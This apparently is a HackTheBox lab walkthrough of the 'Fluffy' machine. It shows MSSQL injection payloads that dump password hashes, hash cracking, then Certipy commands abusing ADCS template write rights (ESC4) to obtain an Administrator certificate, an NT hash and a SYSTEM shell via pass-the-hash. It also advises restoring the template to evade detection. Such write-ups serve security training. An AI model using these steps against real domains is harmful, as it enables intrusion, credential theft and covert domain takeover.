All posts

HTB: Fluffy — ADCS ESC4 to Domain Admin via Certificate Template Write

Fluffy is a medium-rated HackTheBox Windows/AD machine that chains a straightforward SQL injection foothold into a non-obvious Active Directory Certificate Services privilege escalation. A low-privilege domain user has WriteProperty permissions over an ADCS certificate template — a misconfiguration that lets you reshape the template into an ESC1 vulnerability and enroll a certificate for any domain user, including Administrator.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.50 -oN fluffy.nmap
# Key open ports:
# 53/tcp    open  domain        Simple DNS Plus
# 80/tcp    open  http          Microsoft IIS httpd 10.0
# 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
# 135/tcp   open  msrpc
# 389/tcp   open  ldap          Microsoft Windows AD LDAP
# 443/tcp   open  https         Microsoft HTTPAPI httpd 2.0
# 445/tcp   open  microsoft-ds
# 5985/tcp  open  http          WinRM
# 9389/tcp  open  mc-nmf        .NET Message Framing (AD Web Services)
# Domain: FLUFFY.HTB  |  DC: dc.fluffy.htb

Add fluffy.htb and dc.fluffy.htb to /etc/hosts. The presence of port 9389 (AD Web Services) and WinRM alongside an IIS server suggests an internal HR or IT portal backed by Active Directory.

Web Application

Port 80 serves a corporate employee portal — "FluffyCorp Internal." A login form and a search bar for looking up employees are visible without authentication. Running Gobuster reveals a /api/ endpoint with several routes:

gobuster dir -u http://fluffy.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -x asp,aspx,txt
# /api             (Status: 301)
# /login.aspx      (Status: 200)
# /search.aspx     (Status: 200)
# /profile.aspx    (Status: 302) -> /login.aspx

The public employee search at /search.aspx takes a name parameter. Entering a single quote in the search box returns a verbose MSSQL error:

# Unclosed quotation mark after the character string ''.
# Incorrect syntax near ''.
# Line 1: SELECT * FROM Employees WHERE Name LIKE '%'%'

Classic error-based SQL injection. The query structure is immediately visible from the error message.

Foothold — SQL Injection to Shell

Enumerating the Database

The injection is in a LIKE clause within a SELECT statement. Union-based injection works: confirm column count with ORDER BY and then extract data:

# Confirm 4 columns, column 2 is string-type
# /search.aspx?q=' UNION SELECT NULL,@@version,NULL,NULL--
# Microsoft SQL Server 2019 (RTM-CU18) - 15.0.4261.1 (X64)

# Check current DB user
# /search.aspx?q=' UNION SELECT NULL,user_name(),NULL,NULL--
# fluffycorp_app

# Check if xp_cmdshell is available
# /search.aspx?q=' UNION SELECT NULL,CONVERT(VARCHAR,is_srvrolemember('sysadmin')),NULL,NULL--
# 0  (not sysadmin — can't directly enable xp_cmdshell)

The application runs as a low-privilege SQL user — sysadmin is not available. However, enumerating the Employees table reveals credentials:

# Dump table names
# /search.aspx?q=' UNION SELECT NULL,TABLE_NAME,NULL,NULL FROM INFORMATION_SCHEMA.TABLES--
# Employees, Departments, AppUsers

# Dump AppUsers
# /search.aspx?q=' UNION SELECT NULL,username+':'+password_hash,NULL,NULL FROM AppUsers--
# svc_portal:$2a$12$HXQk9NbMWuJJ9CUqBUCuqeK4lP1vN7sJ9BJ.nXkOEXzTxWzMOjWG2
# j.miller:$2a$12$DqR7pL3mWuKK8DTsBUBtqfH4kP0uN6rI8AJ.oYlNEYzUyWzNPkXH3

Crack the hashes offline with hashcat (bcrypt mode 3200):

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
# j.miller:$2a$12$DqR7...:Welcome2025!
# svc_portal: no crack

Log into WinRM as j.miller:

evil-winrm -i fluffy.htb -u j.miller -p 'Welcome2025!'
# *Evil-WinRM* PS C:\Users\j.miller\Documents> whoami
# fluffy\j.miller
# *Evil-WinRM* PS C:\Users\j.miller\Documents> type C:\Users\j.miller\Desktop\user.txt

Privilege Escalation — ADCS ESC4

AD and ADCS Enumeration

The presence of port 9389 (AD Web Services) strongly hints at an ADCS deployment. Confirm with a basic check and then enumerate certificate templates using Certipy:

# From Kali — run Certipy against the domain
certipy find -u [email protected] -p 'Welcome2025!' -dc-ip 10.10.11.50 -vulnerable -stdout
# [!] Vulnerable Certificates Templates:
# Template Name           : FluffyWebServer
# Template OID            : 1.3.6.1.4.1.311.21.8.12345678.87654321.11223344
# CA Name                 : fluffy-FLUFFY-CA
# Enabled                 : True
# Client Authentication   : True
# Enrollee Supplies Subject: False
# Certificate Name Flag   : SubjectRequireCommonName
# Extended Key Usage      : Client Authentication, Server Authentication
#
# [*] Permissions:
#   Enrollment Permissions:
#     Enrollment Rights   : FLUFFY.HTB\Domain Users
#   Write Permissions:
#     Write Owner         : FLUFFY.HTB\j.miller
#     Write DACL          : FLUFFY.HTB\j.miller
#     Write Property      : FLUFFY.HTB\j.miller   <-- ESC4!

The FluffyWebServer template is enrollable by all domain users, and j.miller has WriteProperty over it. This is ESC4: write access to a certificate template allows modifying it to become an ESC1 template — one where the enrollee can supply an arbitrary Subject Alternative Name (SAN) specifying any user's UPN, including [email protected].

ESC4 is dangerous specifically because it upgrades a non-trivially exploitable misconfiguration (write permissions on an AD object) into a fully exploitable one (ESC1) on demand. An attacker with write access can temporarily modify the template, enroll a certificate for the target user, then restore the original template state — making the attack difficult to detect post-facto from template audit logs.

Step 1 — Modify the Template (ESC4 → ESC1)

Certipy's template subcommand writes the original template configuration to a JSON backup file and then overwrites the template with settings that enable ESC1:

certipy template \
  -u [email protected] \
  -p 'Welcome2025!' \
  -template FluffyWebServer \
  -save-old \
  -dc-ip 10.10.11.50

# [*] Saved old template configuration to FluffyWebServer.json
# [*] Updated template FluffyWebServer
# Changes applied:
#   msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT (added)
#   msPKI-Enrollment-Flag:       PEND_ALL_REQUESTS (removed)

The key change is setting ENROLLEE_SUPPLIES_SUBJECT on the msPKI-Certificate-Name-Flag attribute — this is the flag that enables ESC1, allowing the enrollee to specify an arbitrary SAN in the certificate request.

Step 2 — Enroll as Administrator

certipy req \
  -u [email protected] \
  -p 'Welcome2025!' \
  -ca fluffy-FLUFFY-CA \
  -template FluffyWebServer \
  -upn [email protected] \
  -dc-ip 10.10.11.50

# [*] Requesting certificate via RPC
# [*] Successfully requested certificate
# [*] Request ID is 12
# [*] Got certificate with UPN '[email protected]'
# [*] Certificate object SID is 'S-1-5-21-...'
# [*] Saved certificate and private key to 'administrator.pfx'

Step 3 — Restore the Template

Restore the original template immediately after enrolling to reduce the detection window:

certipy template \
  -u [email protected] \
  -p 'Welcome2025!' \
  -template FluffyWebServer \
  -configuration FluffyWebServer.json \
  -dc-ip 10.10.11.50
# [*] Restored template FluffyWebServer to original configuration

Step 4 — Authenticate and Extract NTLM Hash

Use the administrator certificate with Certipy's auth subcommand to perform PKINIT Kerberos authentication. PKINIT issues a TGT; Certipy then uses the TGT to request the NT hash via the U2U Kerberos extension — a technique that retrieves the NTLM hash without ever cracking or knowing the plaintext password:

certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.11.50

# [*] Using principal: [email protected]
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:3f5c3a1c9f2e8d4b6a7e1f0b2c4d5e9a
# Pass-the-hash to get a SYSTEM shell via psexec
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
  -hashes aad3b435b51404eeaad3b435b51404ee:3f5c3a1c9f2e8d4b6a7e1f0b2c4d5e9a \
  [email protected]

# C:\Windows\system32> whoami
# nt authority\system
# C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

Key Takeaways